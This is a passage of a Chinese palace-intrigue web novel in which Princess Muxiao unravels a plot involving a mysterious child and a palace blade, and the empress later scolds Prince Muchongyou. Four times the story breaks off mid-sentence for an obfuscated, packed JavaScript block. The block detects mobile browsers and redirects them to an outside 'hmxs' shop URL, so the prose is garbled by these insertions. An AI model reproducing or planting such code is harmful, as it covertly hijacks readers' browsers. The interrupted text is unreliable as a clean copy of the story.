“至于舆情方面，”牧晓抬头环视一圈，“不用压，按之前既定方向继续引导。加上些旧议题，不拘一格，最好能辩得有来有回。” “原定之事照常。等我进宫请旨回来，再做调整。” “需要查的，比如车马排布，是否有能看到草垛后之事者，孩童亲缘身份，等等。” “还有一点，”牧晓眸光一沉，“那孩童应是知晓我左手上有伤——即便刚开始有衣袖遮盖。” “近日事多，劳烦诸位了。”说完，她略微倾身，向周围人拱手。 公主府众人低头回礼，陆陆续续退出屋中，散进黑夜。 留下当才静静站在外围听着的一人，走到牧晓旁边，低头看着沙盘中央那一小片薄刀。 牧晓坐到案前的椅上，向后靠着椅背，问道：“你怎么想？” “提到车马排布问题，第一个能想到的，自然是刘尚书那个当京卫同知的儿子。”苏墨清收回望向那薄刀的视线，转头问牧晓，“你认识这刀？” 这刀看起来并不算普通，而牧晓刚才并未让人去查这刀的来源，反而将这刀留在沙盘中央。 “对。”牧晓看着左手掌心，抻了抻，“还记得我掷到地上的那个铜烛台么？当时有一角莲瓣碎了。” “这薄刀上能摸出来的纹路，与那角碎莲瓣上的纹饰，很相似。” “这个精细程度，像是宫中之物。” 牧晓抬头看向他：“我怀疑要是顺着这把刀查来查去，会查到太皇太后宫里，所以隐瞒了那个孩子身上带刀的事，就当他是我抬眼看到、随手救济的。” “太皇太后崩逝这几日，我半真半假演得那么卖力，不就是担心有心之人会将太皇太后之死和我联系起来么？”牧晓在烛光中自嘲地笑笑，“比如，说我不是第一次遇见雷打雪，也不是第一次气死人。” “玄岫城中那通判本就年事已高，平日里多走两步也会喘不上气。与其说是因你的话，倒不如说是因情况紧急，一时心焦。”苏墨清淡淡道。 “麻烦的原不止这个。还有礼部。”牧晓叹了口气。 “这次又惹上礼部了。”她想想自己的启蒙先生，垂眸道“你应该不知姚老先生为何不再认我这个学生。” “儿时做了那样多让他气不顺的事，几年前自办婚事不过礼部，各种违制越制……但这些都不是重点，他也从未把这当成我一个人的过错。” “他与我最大的分歧点，在越权枉法上。” “其中最尖锐的点是滥用私刑。” 牧晓说到此处停了停，起身去拿沙盘中央的薄刀片。 坐回椅上，她再次端详着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895801|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那刀片道：“事急从权、便宜行事与越权枉法之间的界限，他与我向来是要争的。” “这次还掺杂上皇室礼法与对民仁德。” “我对这种论战其实并不感兴趣。”她低声道，“但不知为何，为了成事，总要借这些论战的力。有时听听这些论战，还能帮我打开新思路。” “而这次不同的是，”牧晓捏着那刀片，“不管这论战结果如何，这力我是定能借到的。” 手中刀片逐渐由冰凉染上温度，她的思绪飘散开来，喃喃自语一句：“为何这样多的死士？”她从不养死士。 为证道而死，为复仇而死，为知己者而死，为亲朋生而死……以死证道，证得的是道，还是己身的无能为力？以死复仇，求的是同归于尽、终结苦痛么？以死全知己，是甘愿为知己者的踏脚石么？以死活亲朋，是路入绝境、求告无门后能抓住的最后一点希望么？ “或许只是忠于执念的一种表现。愿为何而生，就愿为何而死。”苏墨清见她的手有收紧的趋势，趁她分神把刀片从她手中拿下来，放回桌面上。 “啊，不用担心，这个没毒。”牧晓回过神来，看到桌面上的刀片，笑了笑。 见对方扬眉投来不赞同的目光，牧晓失笑道：“不是那个意思。” “我前几天在思考皇兄为何要在此时杀太皇太后的时候，又想到了那个烛台。” “连椅子都能定在地面的地方，为什么那个烛台，我一拿就拿起来了？” “因为那本就是为我准备的。” “那大概是皇后送给太皇太后的‘礼物’之一，这点不一定有错；但太皇太后想用它对付我，再借机揪出与她不对付的皇后，也是真的。” “太皇太后刚开始召我进宫，好言好语想将我多留段时间。我因为在思考太和门附近遇见刘尚书那件事，没仔细听。” “所以她换了种方法，想将我激怒后，最好再拿那烛台伤了别人，把事情闹大。” “不过我还是没选择去碰那个烛台——铜的太有分量，下手太重不好收场。” “没想到皇帝皇后那时候去了。她心一横，大概觉得能给我添堵或挑拨离间也不错，就顺势叫出天灾这件事。” “但这暴露了一个问题——她和前朝有牵扯。这点皇后或许早就知道。” 因为这两件天灾，本就没到那种朝野震动、满京皆知、满宫忧虑的地步。 “还有一点，”牧晓思索道，“牧崇佑大约是出于彰显孝道，才为太皇太后找医师尽心尽力。” “不过，从我皇兄的角度看来，可不那么简单。”毕竟他自己当年登基，都是……这句话牧晓刻意避开，没说出口。 “听闻巫祝进宫，又勾起了他对三年前洛水刑场大开杀戒的回忆。” “凡此种种，加上皇后再暗中推一推，在这时下手也并不奇怪。” “带着牧崇佑，让他看着，或许就是这个意思。” 43.私心妙算 第二日，牧晓从宫中出来，第一次去到陶府。 为的是传旨。 旨意仍是给陶云娴的——令她协助昭灵公主推进祭文悼念、慈孝赈灾等事宜。 陶云娴接旨后，笑言道：“能来陶府，看来殿下在宫中颇有进展。” 牧晓无奈地摇摇头：“别提了。一上午都在和那几位意见相左的大臣比谁的膝盖敲地更响、谁腰弯得更低、谁的陈词更声情并茂，甚至是谁更罪该万死，终于是给这旨意争下来了。” “云娴当得‘神机妙算’四个字。”牧晓由衷感叹道，“在推演宫里对皇亲和宗室的态度上，我实在自愧弗如。” 那日陶云娴给她提供了她从未想过的思路。 除了战功、政绩、名望外，还有什么是她可以利用且唾手可得，却一直视而不见的。 当局者迷。她向来习惯在礼部的对立面周旋，忽视了自己作为当下唯一成年且能抛头露面的皇室成员，可名正言顺代表宗室展示爱民形象。 这与她为自身积攒的声望有所不同——自身声望过高，对宫中来说可能成为刺眼的威胁；而以宗室的身份行事，相当于为宫墙加瓦舔砖，宫里乐见其成，甚至情愿添加助力。 陶云娴微微偏头一笑：“殿下未曾想到，大概只是因当下的宗室之人实在太少，争这‘第一人’太过轻易，一想就索然无味。” “更何况，殿下清楚，我亦有私心。” 除了父母与宫中，还有谁能名正言顺为她的未来做主？ “宗室”的概念，在当下还浮于虚空，被“皇室”二字完全遮蔽。 昭灵公主能将这块空旷之域拿到手，但她显然志不在此。在利用完后，她几乎一定会将这块权力和日常事务处置，交于他人实际代理。 而放眼望去，最为合适、甚至具有不可替代性的人选，便是陶云娴。 “有私心，既不是错，又不是罪。谁人都有私心。”牧晓坦然摊手，“在我眼中，若是全然没有私心，要么是真正的圣人，要么就是有更大的图谋。” “祭文与赈灾这两方面，云娴想侧重哪个？”牧晓认真问道。 “自然是祭文。”陶云娴毫不避讳地笑笑，“赈灾方面，钱权名力我一字不沾；但我大言不惭，自诩半个读书人，愿为殿下识天下女子文章。” 男子的文章自有人收。而那样多如她一般，亦读过诗书的女子，或成了台前人的代笔，或作品被标为无名远传，或只能自己在院中望月作对。 牧晓停下脚步，在陶云娴疑惑不解的目光中，围着她打量一圈，回以同样疑惑的目光：“我刚才好好瞧过，哪里有‘半个人’？云娴可愿为我解惑？” 听到此话，陶云娴没绷住那套大家闺秀的端庄，摇摇头，无声笑了个前俯后仰。 · 其实宫中也不是完全没给昭灵公主惩戒——罚了三个月俸禄，指明用在给太皇太后祭祀上。 作为公主身份的那点俸禄，对牧晓来说实在不痛不痒。 京中和西南两府，仅维持日常基础运转，就是个非常庞大的数目。 那三个月涉及的银两，砸进去连个响都听不到。 但她明白，这是宫里在暗示，慈孝赈灾的银两宫里只会象征性出一些，剩下的需要她自己拿出办法来。 想必是她在平良县利用县令贪墨之机，临时解民困、通冰路的事，还是被宫中知晓了。 怎样赈灾，既能解一时之困，又不会令地方财赋压力过大，还能给予受灾者重振旗鼓的希冀，向来是历朝历代绕不开的难题。 不过，牧晓深觉，宫里对她真正的惩罚，大概是让她赈灾时带着牧崇佑。 把牧崇佑从宫中拔出来，走不了多远，身后就会带上段弈哲和陶云鹤这两个自发前来帮忙的小尾巴。 不仅要自己注意哀容、处理现场突发事件，还要时刻注意他们几个的安危、言谈、动向，要分辨他们口中那千奇百怪的称呼是不是在叫自己，要时不时回答他们提出的稀奇古怪的问题…… 牧晓觉得，这比在平良县如履薄冰、勾心斗角，加上几夜不合眼都累。 “他们平日听学也这样么？你是怎么忍得了他们几个的？”牧晓仰头靠在椅背上，望着房梁，“不是说他们不好——认真是挺认真，卖力也相当卖力。就是……” 就是和她设想中这个年纪的状态实在不同。 且不论她皇兄和同窗们，她自己在他们这个年纪，不论怎么说，都已独自开府主事。 她母后虽然会给她派帮手或及时解惑，但并不是会过度关心、面面兼顾的性格，加之后宫前朝事务繁多，大部分时候还是放她自己摸索。 “让他们办事自然还不行。他们现在办事，不是章法路数如何的问题，而是根本就没有经验和章法。”苏墨清完全能理解牧晓现在的心情，提议道，“口头上他们安静下来，他们是不会听的。在没人的地方，找个由头敲打他们一顿，下次见到你就安静了。” “我是挺想用刀柄敲他们的。”牧晓无奈道，“这招还是当年和你学的。自己敲着敲着，也觉得挺顺手。” 两方都戒备的状态下，要是还能被对方敲到，根本就用不着刀剑出鞘，胜负就可分明。 “段弈哲和陶云鹤还能找到‘没人的地方’，牧崇佑你平时怎么办的？”牧晓坐直问他。 “我有正当的事由敲打。”苏墨清放下手中笔答道，“你皇兄显然想让他文武兼修。” 牧晓啧了两声：“看出来了。这几个人一天天活蹦乱跳，还自己下场搬起东西就跑，叫都叫不住。一看就不是书房里泡出来的。” “嗯？”牧晓反应过来，笑道，“你这是文武都教？教得挺全面啊。” “这和段弈哲有关。我一授课他就开始走神，等出了宫就想和我拿各种武器比划两下。”苏墨清没什么情感起伏地说道，“我又不是他兄长段弈钧。他要私下比试，自然不会让着他，或是和他耗太久。” “他转头就和他们真正的教习举荐我。举荐原因是我适合教陶云鹤。” 牧晓思索道：“陶云鹤……我在平良县没注意，这几日倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901573|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看出来了。陶云鹤有个特点，是惯用左手。”所以陶云鹤在冰坡上与他们同行时，走得那样别扭——毕竟绳索排布和工具设计，都是按他们的习惯来。 “所以，为什么说你适合教陶云鹤？我记得你不是……”牧晓迟疑道。 “几年前重新练的。现在其实用不上了，但一直没改过来。”话音未落，苏墨清顺手接住牧晓扔过来的刀。 “还真和过去习惯相反。”牧晓亲自验证后想起，上次在京郊把剑扔给他时，就是这样。 掂量片刻，她眸光一动：“你不会是用这个坑的暮药师吧？”暮药师那道疤在左额上。迎面对峙时，正好出其不意。 “算是。怎么又提他？”苏墨清漫不经心转着那刀，看向牧晓，面上浮现一抹笑意，“我也有点好奇。在坤宁宫时，为什么你一开口就问我与他到底认识多少年？” “想问我你在这件事上的破绽？”提到这个，牧晓意味深长地看他一眼，“只问你们之间的那次交易，已经算是我当着皇兄的面手下留情了吧？真要我说那么清楚？” “静候昭灵公主赐教。”苏墨清带着笑缓缓道。 “那就说几句。有错的地方记得给我指出来。”牧晓随意说道。 “首先，我觉得你根本就不是会坐以待毙的人；其次，我怀疑暮药师就算刀口换人，也不至于能换到那么精细的程度。我猜你至少指点了他，而他大概本就有什么把柄在你手里。” “偶然相遇与临场起意的成分肯定有——谁都不能精准操纵战场形势。更何况这对你没有意义。你应该没想到选择与他合作，会导致拖了三年之久；他应该也没想到，根本就拿不住你。” “最终确定下来，还是那天在刑场旁，我直接默认段弈哲是从西南抓来的暮药师。” “若是段弈哲从西南往返，以他的出发时间 推算，根本不可能在宫中听过你讲学，甚至可能都不知道这件事。” “你们当时没有交流，但我们走时，他对你下意识行的礼，有细微差异——那是给师长的。” “我懂了。我明明知道段弈哲不可能去到西南，但见到他与暮药师一同出现在京城，却不惊讶；听到你说段弈哲刚去过西南，也没表示出任何异议。”苏墨清若有所思，“不作为本身，就是一种反常。” 牧晓看了看他左手上快转出花来的刀，叹息道：“要是早几年，我有空的时候看到，定是要自己也要上左手练练的。” 苏墨清回过神，手上的动作一顿，笑道：“不是事出有因，改惯用手做什么呢？” “要是我皇兄也能像你这样想就好了。”牧晓想到还得带那几位一段时间，无奈道，“他想让我们教的东西、喂的招，不过都是些权宜之计。与其把人丢给我们，不如直接放到险境里。” “不过，他们大概是考量损耗，且舍不得吧。” “也或许是因现在到底是比前几年太平些，不需要他们进步得那么着急。”苏墨清抬手将刀扔回给牧晓，，“牧崇佑上次心急，不就没得到什么好结果么？ 44.所急何事 “牧崇佑也不似那种心思细腻的性格……他到底在急什么？”牧晓隐隐发现了点不对劲。 这几人以他为中心聚起，但真算起年龄来，其实段弈哲和陶云鹤都要比他大两三岁。 若不是在办正经事的场合下，牧晓会觉得这几位相当讨喜，并感慨她皇兄手底下竟能存活这样几位开朗且相对正常的人。 但牧崇佑的这份“着急”，就显得格外突兀——特别是在当今帝后显然都希望他“安分些就行”的态度之下。 “这着急得也太早了。就算牧崇佑真想到未来帝位继承这么远，那他不就更不用着急了么？” “年龄优势，暂时没有角力者，自己天资也算不错，伴读与各色授课人甚至都在配合他的喜好……毫无负担地长到及冠，顺顺利利受封，参政……这到底有什么不好？” “他现在就算是想得到他父皇母后的认可，简简单单完成课业就行了，用得着如此心急，将手往宫外伸么？”牧晓从自己的角度，实在没法想明白牧崇佑现在的心理。 “他在正经场合下，往往大架势端得不错。”苏墨清评价道。 “你是说，因为他端的这些架势，我太把他当回事了？”牧晓笑了笑，“说实话，大概是因为崇仪口中经常冷不丁蹦出些超乎我预料的东西，所以我下意识觉得牧崇佑也会是这样。” “他或许也会说出些你预料不到的内容，但和牧崇仪说的那些不是一个方面。”苏墨清平静道，“他在先帝和太皇太后身边待的时间太长，沾了些在当朝帝后身上完全看不到的东西。” “他端着架子向你虚心求教时，态度整体应该还算说得过去。” “你要再和他共事一段时间，可能很难保持对他现在的好印象。” 牧晓沉默一阵后道：“我并不是想苛责他。其中有些点，若放在别的情景下，我也会觉得挺有意思……” “但牧崇佑身上，确实还有让我感觉别扭的地方。” “比如，他在请教时，为了套近乎，喜欢叫我‘师娘’。但陶云鹤和段弈哲从来不会。” “比如，连冬抱来几摞账目和文书，他非要接过来掂几下，再走完最后两步，放我桌上，然后随意支使连冬倒杯水过来。” “再比如，他常称呼崇仪为‘只会吃糖糕的小丫头’。” “这样理理后……我懂了。”牧晓冷笑一声，“该想想未来何去何从的，首先是我自己。” 牧晓很快就知道牧崇佑为何会心急了。 听闻那个她从洛水桥下枯草堆中拎出来的孩童本身，无法查清任何背景也基本拒绝交流时，她心中一惊，沉吟片刻，去到关着那孩童的屋子。 仔细端详后，她彻底明白太皇太后为何会死在此时。她也是第一回，觉得自己的皇祖母真是相当有胆色。 那孩童大约五六岁。闭上眼时，与幼时的牧崇佑有几分相像。 五六岁，查不到来历……这个年纪，不会想充当先帝的遗腹子吧。 牧晓第一反应是有些匪夷所思——难道三年前洛水刑场血流成河，到头来只震慑住了她一个人么？ 她意识到，洛水桥头之事，若是按查平良县衙内之事的方法进行下去，会相当危险。 现在什么都查不出，反而不算件坏事。 这次，原来从一开始就不需要考虑她是否想入局、会入局。 只是一个马车停靠位置问题，就盘活了所有。 不论这孩童的行动是否成功，只要他确保自己被发现、且能用手指向目标车驾，就足够了。 牧晓凝视着那孩童，脑中闪过当日情形，意识到这是个棘手的问题。 她当时的处理方式，现在想来，只是将原本尖锐的事端，转化成尚有争论余地的情形。 现在又该怎么办？ 留这孩童在府中当作一无所知？想必布局人正在想方设法将目光往他身上引。事情散出去，几番人证物证胡编乱造起来，现在的争论马上就会偏离现议题。 把他放出去任他自生自灭？这相当于直接给他人递把柄，而且日后相似的事件还会重演。 交给宫中？宫中或许在暗中寻找这个孩子，也或许在太皇太后死后，对这个一时没找到的孩子持漠不关心态度——说不定无人能证明、无人敢证明他的身份。 可牧崇佑的急切，正是因为他知道——太皇太后是他的靠山之一，这靠山逐渐转移了目光，着实令他心焦。 万一牧崇佑说出什么话，这件事又将难以收场。 若是现在杀了这孩子，再另找一个替代…… 洛水刑场杀了那么多人，还差这一个么？ 牧晓静静地站在那里，背对着门外的白日。 · “然后呢？”陶云娴倾身向前，面色古怪地问，“你就这样让他们走了？就核验了身份？” 她今早来公主府，在门口正遇上一场大戏。 “怎么，不行么？”牧晓的语气毫无波澜，“那一日后，你没听到过这个孩子的身份，在京中传了多少个版本么？” “我顶着争议救了他，找人给他医治……他亲人找来，说这孩子原是被人拐走的，因不明原因又被人半路抛弃，才到了洛水桥下……”牧晓缓缓细数道，“我把孩子还给他的家人，有什么问题？” “难道救他一次，就要养他一辈子不成？” “况且，”牧晓抬眸看向陶云娴，轻轻一歪头，“他给我带来了那么多麻烦。” 陶云娴放下手中正看着的文章，语气认真起来：“那孩子的身份真有问题？” “这么敏锐。”牧晓无奈地笑笑，“云娴，看破不说破么。” “不说破怎么验证真假呢？我可没那么多信息来源。”陶云娴思忖道，“能让你感到麻烦且烫手的身份，送葬队伍，洛水桥下……” “洛水刑场？”陶云娴小心翼翼地猜道。 “这一代代的，真是人才辈出……”牧晓扶额感叹道一半，突然想起，“其实也不该这么说。我们实际上没差几岁。” “云娴，你对三年前洛水刑场之事有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907349|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多少印象？” “我当时没去观刑。不过，只听传言，就能想象出现场该是怎样的残……震撼。”陶云娴的话拐了个弯。 “残忍是挺残忍的。这点没法回避。”牧晓听出她吞下的词，直言道。 陶云娴定定地看了她几息，缓缓眨眨眼，再次开口：“殿下，作为局外人，我会因你现在展示出的对洛水刑场的态度，而惊讶不以。” “嗯？什么点和你想象中的不一样？”牧晓笑了一下。 “就我个人而言，我以为你至少是不抗拒监斩的。”陶云娴斟酌道，“鉴于殿下在京中流传甚广的那几件事，没人会觉得殿下会因监斩本身而恐惧。” “我虽然未曾亲眼见过，但刑场上再如何残忍，到底有固定流程和秩序。西南真实的战场上，相对无序应该才是常态。” 郉承远人头落地时，陶云娴不在京中。但在平良县那几日的间隙，陶云鹤曾和她描述过当时的场景，并劝她三思。 “殿下是怕下一个就是自己么？”陶云娴按自己的思路，向下剖一层，“但这与监斩本身其实相悖。” “今日择一人代表宫中态度监斩，明日就以同样方式杀之。这与朝令夕改带来的动荡感有异曲同工之处。” 陶云娴顿了顿，想起平良县外分别前问过的事，脑中倏然浮现一个新的可能：“殿下从什么时候开始想要争权的？” “云鹤从百听阁问来的消息，是殿下这边人故意放出去的吧？百听阁的根基，不是这短短三年就能攒起的。” “殿下是什么时候和百听阁搭上关系的呢？” “又是为什么，三年前就喜欢用被行刑者的视角看待洛水刑场？” 听到此处，牧晓无端回想起自己对郉承远在狱中的那几问。 她问郉承远，到底是谁的将领——作为大周将领，站在敌军立场上忌惮本朝之将。 她现在也想问问自己——你在为谁做事。 若是在朝中有人这样问，自然要答“为圣上”。 但这在她扪心自问时，无法让她自己信服。 因为她能清楚地感受到，她的私心与野心也在熊熊燃烧。 见牧晓垂眸思索，陶云娴心中一块高悬已久的巨石，忽然被轻轻放了下，令她感到一阵久违的轻松。 陶云娴话锋一转，语气甚至带上了几分轻快：“殿下，洛水桥下的那个孩子，你没杀。对么？” “对。”牧晓答道，“失望么？” “失望什么？该杀不杀么？”陶云娴展颜笑道，“不，一点也不。” “相反，这让我感到安心。” “对人命珍重，难道是坏事么？” 可能带来的问题，再一同想办法解决就好。 若是对方真的被同化成洛水刑场的刽子手，陶云娴每晚梦中都会摸着自己的脖子忧心忡忡。 “我现在好奇的是，目前，殿下对那个孩子，究竟是怎么处置了？”陶云娴认真问道。 “被领走的那个，不是本来的那个吧？ 45.教管与否 “你在门口看到的那家人，孩子被拐是真的。这点他们的左邻右舍皆可证明。”牧晓慢慢解释道，“但人不是我救的，而是百听阁救的。” 其实是闻絮又出门摆摊，听到那家丢了孩子，一路抢回来的。 “那孩子身上有冻伤，被拐与被救的一路都不清醒，不存在分辨被救过程和救人者的可能。” 百听阁想把人还回去，却不想暴露闻絮，正好将人借给她。 “至于洛水桥下真正的那个……其实也还回去了。” “还回宫里了？殿下最近似乎没时间进宫。”陶云娴不解道。 不进宫，怎么把人不动声色地还回去？ 就算是能进宫，又怎样避开众人耳目，将那个孩子带进宫？ 这次换牧晓静静地看了陶云娴几瞬。 她发现陶云娴虽然敏锐且很有想法，但主意几乎都是能摆上明面的，不太擅长阴谋算计他人。 这也让她松了一口气。 “我找不到自己不杀那个孩子的理由。”牧晓坦然说道，“就因如此，我怀疑幕后之人本意，就是要让这个孩子死。” 从牧崇佑到这个孩子，太皇太后生前试图选择一个完美傀儡。 在太皇太后死后，这个“准傀儡”失去了意义。 除非再为傀儡找一个新的提线人。 若是找不到，那让这烫手的傀儡被别人杀掉，发挥他最后的价值，也能挽回一点损失。 牧晓思索良久后，觉得自己对洛水头这件事的定性，少了一种可能。 幕后人想置她于左右为难之境，这点不错。 不过，这看似与平良县衙内异曲同工的手段，因这孩子的特殊身份，多了一种可能的走向。 要是因她在平良县的所作所为，幕后之人断定她完全有能力拦下这个孩子呢？ 对方甚至在期待她，将这个孩子带进公主府中。 “但如果换个角度想想，”牧晓脸上闪过一丝笑意，“我找不到不杀他的理由，正是因为我完全没有利用他这个特殊身份的意思。” 她并不想接替太皇太后，成为这傀儡的提线人。 这对她现在来说，弊远大于利。 “幕后之人，还起了拉拢我之意。要是我与他们有相同的图谋，留下这个孩子，相当于接了他们的投名状，然后自己递给他们一个把柄作为交换。” “一个新的盟约，就缔结完成了。” 牧晓看着陶云娴凝重的表情，笑着对她摊手道：“不用担心。我不想加入这个好高骛远且遥遥无期的疯狂幻梦。” “但我又不想杀了他，脏了自己的手，还让幕后之人洋洋自得。” “我凭什么替他们处理烂摊子。” “我也不需要去为不属于我的东西乱忧心。” 皇位现在是她家的，但又不是她的。 不论是她皇兄还是其他与皇位有关的人，都不需要她自作主张为他们扫清障碍。 就是她做了，这群人也不会领情。 “他们不是喜欢攻讦我越俎代庖么？”牧晓脸上的笑容逐渐扩大。 “挺好的。” “谁和皇位有关，就让谁去解决这个问题。” “那个孩子能知道我左手上有伤，想必当时就在仁寿宫中。”牧晓笑着轻叹道，“他明明看见了真相——至少是部分真相，但仍选择陷我于不义。” “他来了公主府，还是不配合。”软硬兼施都无用。 “被动与无辜这两个词，他哪个都占不上。” “那就回他该回的地方去。” 牧晓话锋一转，语气渐渐冰冷下来：“我让牧崇佑在赈灾时，在善堂里，重新发现了那个孩子。” 以及那把明显是宫中之物的薄刀。 “我让他把这私逃出宫之人，亲自带给他父皇母后。” “有什么比宫规不严，更值得帝后忧心的呢？” 说到底这次的麻烦，还是这两位带给她的。 “众目睽睽之下，我直接送他们堂堂正正进宫门。” “关上门后的事，我查不到，我管不着。” · 你就不能管管他么？ 余长欣略带烦躁地拨了几下手中珠串，但面上笑容仍然宽和得体，向左侧微微倾身道：“此事如何处置，还请陛下定夺。” 牧崇佑站在一旁，微不可查地急促呼吸几下，抬头正欲开口，被余长欣冷冷一瞥压了回去。 话卡在喉中，与他悬着的心一般，提不上去又坠不下来，生生扭做一团，被挤压到无法轻易解开，让他只好拼命往下吞咽。 “宫中人私逃出宫，皇后不知该如何处置么？”牧晞的语气相当随意。 余长欣手上动作一停，脸上笑容隐去，起身正色请罪道：“臣妾治宫不严，还请陛下责罚。” “治宫不严？”牧晞如同听到了个笑话一般，对着她缓缓重复这四个字。 余长欣心头一紧，头更低了几寸，说道：“是臣妾失职。” “皇后为这宫中劳心劳力，偶然失误，朕若是苛责，倒显得颇为不近人情。” “处置好后，带着皇子闭门思过两日，反省缺漏即可。” “至于你，”牧晞带着轻蔑之意瞥了一眼明显愤愤不平的牧崇佑，“好好改改自以为是的毛病。” “花架子摆得再好，内里终究是空。” “书递到手边不知读，饭喂到嘴边不知吃。” “每日将心思花在做表面文章上，不如与銮铃称兄道弟。” “禁足三月，好自为之。” 他每说一句，余长欣的心就猛得向下一沉，而牧崇佑的脸色青一阵白一阵，最终涨红起来，梗着脖颈僵硬地答道：“谨遵父皇教诲。” 待牧晞走远，余长欣清退屋中众人，独留下牧崇佑。 “跪下。”余长欣冷冷道。 牧崇佑不得不照做，但双膝触地的瞬间就抬头对着母亲不服气地问：“为什么？” “我让你把仁寿宫里那一套忘掉。你呢？你做了什么？”余长欣锐利而平静的目光像是要将他穿透，“帮那个来路不明的孩子出宫？送葬路上整休时，刻意压了车马位置？你的头是掉进洛水中泡坏了么？” “你信了谁的话，要去给昭灵暗中使绊子？” “我没有，我没有。”牧崇佑一脸烦躁地小声吼道，“我还不够伏小做低么？” “伏小做低？你还委屈上了？钱权人力四个字，哪个是你出的？你只需要往旁边一站，动脑子好好想想每件事中的利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912225|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害，不仅能学到东西，还能名利双收。这样好的机会，你以为是天上掉下来的么？”余长欣怒而反笑。 分明是你父皇想给你出去看看的机会，昭灵又因上次我在宫中帮了她，投桃报李接了。 “她让我把那个野种带进宫，才……”才有了父皇今日的斥责。 “牧崇佑。”余长欣不带温度地吐出三个字，把他的话压了回去，“注意你的措辞。你在仁寿宫学得倒挺认真。” “仁寿宫……仁寿宫到底有什么不好？”牧崇佑怒气冲冲地质问。 “把你当废物惯着就叫好？把你当野人般任你窜上跳下、爬高爬低、上房揭瓦，就叫好？让你满口胡言、捧高踩低、不尊长不爱幼，就叫好？” “牧崇佑，你把仁寿宫那位一言一行奉成圭臬？你的圣贤书都读到哪儿去了？你的明事理都明到哪里去了？” “我表面上做的还不够好么？剩下的我只是在遵从自己的本心！”牧崇佑更加焦躁，“遵从本心就叫废物么？那你们怎么不管管牧崇仪和公主府那位。她们谁不比我嚣张？” “你总是怪崇仪与你不亲，但你想过自己是怎么对崇仪的么？她是你妹妹，不是你可以随手借别人的玩具，不是你可以随口开玩笑的工具。”余长欣将手中珠串掷到案上，发出“砰”的一声脆响。 “昭灵做什么，向来是自担自责。你做得到么？她面对你时，还不够耐心、不够有底线么？她不和你计较，你就在心中贬低轻慢于她？牧崇佑，这就是你的教养？” “她哪里没有和我计较？那个野……孩子，她不就丢给我了？这分明是在报复我。”牧崇佑指着门外方向质问。 “报复？是你在做贼心虚。你怕你父皇知晓，你早就知道这个孩子的存在，又没能力处理了他，慌不择路把他丢出宫去。”余长欣眉头紧锁，竭力控制着语气，“你算计他人，他人就只能任你算计？整个世间都围着你旋转，任你摆布？” “这是你算计的么？你只是在被别人当出头鸟用。” “况且，你想让昭灵如何？顺着你的意思，解决掉一切？” “这个孩子进宫，又不是在给你定罪。你明明进一步可以用他在你父皇面前卖个好，退一步直接让我以私逃出宫的罪名处置了他以儆效尤。” “你呢，你呢？进了宫还想藏。宫里人多眼杂是你藏得住的？” “你帮那个孩子，能有什么利？就这么想当他人的傀儡？”余长欣低头问他。 牧崇佑崩溃道：“我自然不想！但多树个靶子，所有人都不会对我这样苛刻。” “谁都没想苛责你！你好心做错的事，你父皇罚过你么？你各位先生指责过你么？”余长欣稳住语气，尽量耐心地细数，“你身边的人，哪个不是我们精挑细选出来，又考量了你的性格喜好的？你敢说周围人让你过得还不够舒心么？” “我知道，我知道。陶云鹤品行端正、数算精湛，段弈哲心地赤诚、身手敏捷，我的先生们各有各的传奇经历与经验，我身边人各有立身之本……只有我一个是废物罢了。”牧崇佑带着怒意笑道。 “只有你自己会说自己是废物。我们谁都不这么觉得。”余长欣用温和地语气说道，“你写的那篇祭文，我看了。” “相当有天赋。” 46.梅烛煎茶 该怎样为一位性格不为外人所知、生平简单乏善可陈、功绩翻遍起居注难觅的太皇太后，撰写一篇不落窠臼的祭文？ 现在，不仅朝中学士们在思索，因公主府的提议，天下读过诗书的女子，亦在深思。 她们与这位太皇太后素未谋面，不似牧崇佑般熟识她的日常生活与为人处世，又该从何处下手破题？ 流水账式写一篇平平无奇的祭文，自然挑不出错处，但绝对无法脱颖而出。 脱颖而出。 